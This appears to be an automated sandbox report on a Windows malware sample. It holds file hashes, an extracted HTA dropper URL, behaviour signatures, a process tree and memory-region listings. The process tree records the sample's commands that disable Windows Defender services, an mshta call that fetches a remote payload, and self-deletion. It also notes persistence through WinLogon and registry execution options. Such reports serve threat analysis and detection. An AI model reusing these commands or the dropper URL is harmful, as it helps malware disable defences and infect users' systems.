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Analysis

  • max time kernel
    150s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    27/03/2024, 03:19

General

  • Target

    e0a30f2c32754a4a4a79b13ff0b5e03c.exe

  • Size

    1.7MB

  • MD5

    e0a30f2c32754a4a4a79b13ff0b5e03c

  • SHA1

    1360a9cd73566cbff17f4227e3edc1294b82b45d

  • SHA256

    274857d62ace68dfc99693252fc4e5cca95f8308d04fc09e84e6d36ae5be03fa

  • SHA512

    02237d6736f915e89aa60b86a6a09aa02ea9dc2cb3e4ba8c24932212ff66464f2981a1275513809d4e8ea9605c012abf7fa1a170d9e49e4dbdafc322fc0dc05c

  • SSDEEP

    49152:PK/rgBg1pOCjLIx4uRZjxPgw5a1pxyupW:uEKNjTuRdJgua1pxw

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://pcguarrantorutility.com/favicon.ico?0=72&1=0&2=1&3=62&4=i-s&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Sets file execution options in registry 2 TTPs 16 IoCs
  • Stops running service(s) 3 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e0a30f2c32754a4a4a79b13ff0b5e03c.exe
    "C:\Users\Admin\AppData\Local\Temp\e0a30f2c32754a4a4a79b13ff0b5e03c.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1308
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2504
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2584
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2528
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
          PID:2588
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        2⤵
        • Launches sc.exe
        PID:2448
      • C:\Users\Admin\AppData\Roaming\Microsoft\wwvxrv.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\wwvxrv.exe
        2⤵
        • Modifies WinLogon for persistence
        • Sets file execution options in registry
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2456
        • C:\Windows\SysWOW64\sc.exe
          sc stop WinDefend
          3⤵
          • Launches sc.exe
          PID:1244
        • C:\Windows\SysWOW64\sc.exe
          sc config WinDefend start= disabled
          3⤵
          • Launches sc.exe
          PID:1180
        • C:\Windows\SysWOW64\net.exe
          net stop msmpsvc
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1536
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop msmpsvc
            4⤵
              PID:528
          • C:\Windows\SysWOW64\sc.exe
            sc config msmpsvc start= disabled
            3⤵
            • Launches sc.exe
            PID:1848
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://pcguarrantorutility.com/favicon.ico?0=72&1=0&2=1&3=62&4=i-s&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000"
            3⤵
            • Modifies Internet Explorer settings
            PID:1588
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\E0A30F~1.EXE" >> NUL
          2⤵
          • Deletes itself
          PID:2400

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • \Users\Admin\AppData\Roaming\Microsoft\wwvxrv.exe

        Filesize

        1.7MB

        MD5

        e0a30f2c32754a4a4a79b13ff0b5e03c

        SHA1

        1360a9cd73566cbff17f4227e3edc1294b82b45d

        SHA256

        274857d62ace68dfc99693252fc4e5cca95f8308d04fc09e84e6d36ae5be03fa

        SHA512

        02237d6736f915e89aa60b86a6a09aa02ea9dc2cb3e4ba8c24932212ff66464f2981a1275513809d4e8ea9605c012abf7fa1a170d9e49e4dbdafc322fc0dc05c

      • memory/1308-1-0x00000000002C0000-0x000000000031A000-memory.dmp

        Filesize

        360KB

      • memory/1308-0-0x0000000000400000-0x000000000070E000-memory.dmp

        Filesize

        3.1MB

      • memory/1308-3-0x0000000000370000-0x0000000000371000-memory.dmp

        Filesize

        4KB

      • memory/1308-4-0x0000000000360000-0x0000000000361000-memory.dmp

        Filesize

        4KB

      • memory/1308-5-0x00000000003E0000-0x00000000003E1000-memory.dmp

        Filesize

        4KB

      • memory/1308-2-0x0000000000380000-0x0000000000381000-memory.dmp

        Filesize

        4KB

      • memory/1308-6-0x00000000003A0000-0x00000000003A1000-memory.dmp

        Filesize

        4KB

      • memory/1308-7-0x00000000008A0000-0x00000000008A1000-memory.dmp

        Filesize

        4KB

      • memory/1308-8-0x00000000032F0000-0x00000000032F1000-memory.dmp

        Filesize

        4KB

      • memory/1308-9-0x00000000032E0000-0x00000000032E2000-memory.dmp

        Filesize

        8KB

      • memory/1308-12-0x00000000033C0000-0x0000000003500000-memory.dmp

        Filesize

        1.2MB

      • memory/1308-11-0x00000000033C0000-0x0000000003500000-memory.dmp

        Filesize

        1.2MB

      • memory/1308-10-0x00000000033C0000-0x0000000003500000-memory.dmp

        Filesize

        1.2MB

      • memory/1308-14-0x00000000032D0000-0x00000000032D2000-memory.dmp

        Filesize

        8KB

      • memory/1308-15-0x0000000003340000-0x0000000003341000-memory.dmp

        Filesize

        4KB

      • memory/1308-13-0x0000000003330000-0x0000000003331000-memory.dmp

        Filesize

        4KB

      • memory/1308-17-0x0000000000230000-0x0000000000231000-memory.dmp

        Filesize

        4KB

      • memory/1308-16-0x0000000000220000-0x0000000000221000-memory.dmp

        Filesize

        4KB

      • memory/1308-18-0x0000000003300000-0x0000000003301000-memory.dmp

        Filesize

        4KB

      • memory/1308-20-0x0000000000350000-0x0000000000351000-memory.dmp

        Filesize

        4KB

      • memory/1308-19-0x00000000008B0000-0x00000000008B1000-memory.dmp

        Filesize

        4KB

      • memory/1308-21-0x0000000002350000-0x0000000002351000-memory.dmp

        Filesize

        4KB

      • memory/1308-22-0x0000000002170000-0x0000000002171000-memory.dmp

        Filesize

        4KB

      • memory/1308-23-0x0000000003350000-0x0000000003351000-memory.dmp

        Filesize

        4KB

      • memory/1308-24-0x0000000002400000-0x0000000002401000-memory.dmp

        Filesize

        4KB

      • memory/1308-25-0x0000000003370000-0x0000000003371000-memory.dmp

        Filesize

        4KB

      • memory/1308-26-0x0000000003360000-0x0000000003361000-memory.dmp

        Filesize

        4KB

      • memory/1308-27-0x0000000003390000-0x0000000003391000-memory.dmp

        Filesize

        4KB

      • memory/1308-28-0x0000000003380000-0x0000000003381000-memory.dmp

        Filesize

        4KB

      • memory/1308-29-0x00000000033B0000-0x00000000033B1000-memory.dmp

        Filesize

        4KB

      • memory/1308-30-0x00000000033A0000-0x00000000033A1000-memory.dmp

        Filesize

        4KB

      • memory/1308-31-0x0000000003510000-0x0000000003511000-memory.dmp

        Filesize

        4KB

      • memory/1308-32-0x0000000003500000-0x0000000003501000-memory.dmp

        Filesize

        4KB

      • memory/1308-33-0x0000000003530000-0x0000000003531000-memory.dmp

        Filesize

        4KB

      • memory/1308-34-0x0000000003520000-0x0000000003521000-memory.dmp

        Filesize

        4KB

      • memory/1308-35-0x0000000003550000-0x0000000003551000-memory.dmp

        Filesize

        4KB

      • memory/1308-36-0x0000000003540000-0x0000000003541000-memory.dmp

        Filesize

        4KB

      • memory/1308-37-0x0000000003570000-0x0000000003571000-memory.dmp

        Filesize

        4KB

      • memory/1308-38-0x0000000003560000-0x0000000003561000-memory.dmp

        Filesize

        4KB

      • memory/1308-39-0x0000000003590000-0x0000000003591000-memory.dmp

        Filesize

        4KB

      • memory/1308-40-0x0000000003580000-0x0000000003581000-memory.dmp

        Filesize

        4KB

      • memory/1308-41-0x00000000035A0000-0x00000000035A1000-memory.dmp

        Filesize

        4KB

      • memory/1308-42-0x00000000035D0000-0x00000000035D1000-memory.dmp

        Filesize

        4KB

      • memory/1308-44-0x00000000035F0000-0x00000000035F1000-memory.dmp

        Filesize

        4KB

      • memory/1308-43-0x00000000035C0000-0x00000000035C1000-memory.dmp

        Filesize

        4KB

      • memory/1308-45-0x00000000035E0000-0x00000000035E1000-memory.dmp

        Filesize

        4KB

      • memory/1308-46-0x0000000003610000-0x0000000003611000-memory.dmp

        Filesize

        4KB

      • memory/1308-47-0x0000000003600000-0x0000000003601000-memory.dmp

        Filesize

        4KB

      • memory/1308-48-0x0000000003630000-0x0000000003631000-memory.dmp

        Filesize

        4KB

      • memory/1308-49-0x0000000003620000-0x0000000003621000-memory.dmp

        Filesize

        4KB

      • memory/1308-50-0x0000000003650000-0x0000000003651000-memory.dmp

        Filesize

        4KB

      • memory/1308-51-0x0000000003640000-0x0000000003641000-memory.dmp

        Filesize

        4KB

      • memory/1308-52-0x0000000003660000-0x0000000003661000-memory.dmp

        Filesize

        4KB

      • memory/1308-53-0x00000000033C0000-0x0000000003500000-memory.dmp

        Filesize

        1.2MB

      • memory/1308-54-0x00000000035B0000-0x00000000035B1000-memory.dmp

        Filesize

        4KB

      • memory/1308-55-0x00000000037E0000-0x00000000037E1000-memory.dmp

        Filesize

        4KB

      • memory/1308-57-0x0000000004170000-0x0000000004171000-memory.dmp

        Filesize

        4KB

      • memory/1308-56-0x00000000037D0000-0x00000000037D1000-memory.dmp

        Filesize

        4KB

      • memory/1308-59-0x0000000004180000-0x0000000004181000-memory.dmp

        Filesize

        4KB

      • memory/1308-58-0x0000000004160000-0x0000000004161000-memory.dmp

        Filesize

        4KB

      • memory/1308-60-0x00000000041A0000-0x00000000041A1000-memory.dmp

        Filesize

        4KB

      • memory/1308-61-0x0000000004190000-0x0000000004191000-memory.dmp

        Filesize

        4KB

      • memory/1308-62-0x00000000041B0000-0x00000000041B1000-memory.dmp

        Filesize

        4KB

      • memory/1308-70-0x00000000041C0000-0x00000000044CE000-memory.dmp

        Filesize

        3.1MB

      • memory/1308-79-0x0000000000400000-0x000000000070E000-memory.dmp

        Filesize

        3.1MB

      • memory/2456-124-0x0000000000400000-0x000000000070E000-memory.dmp

        Filesize

        3.1MB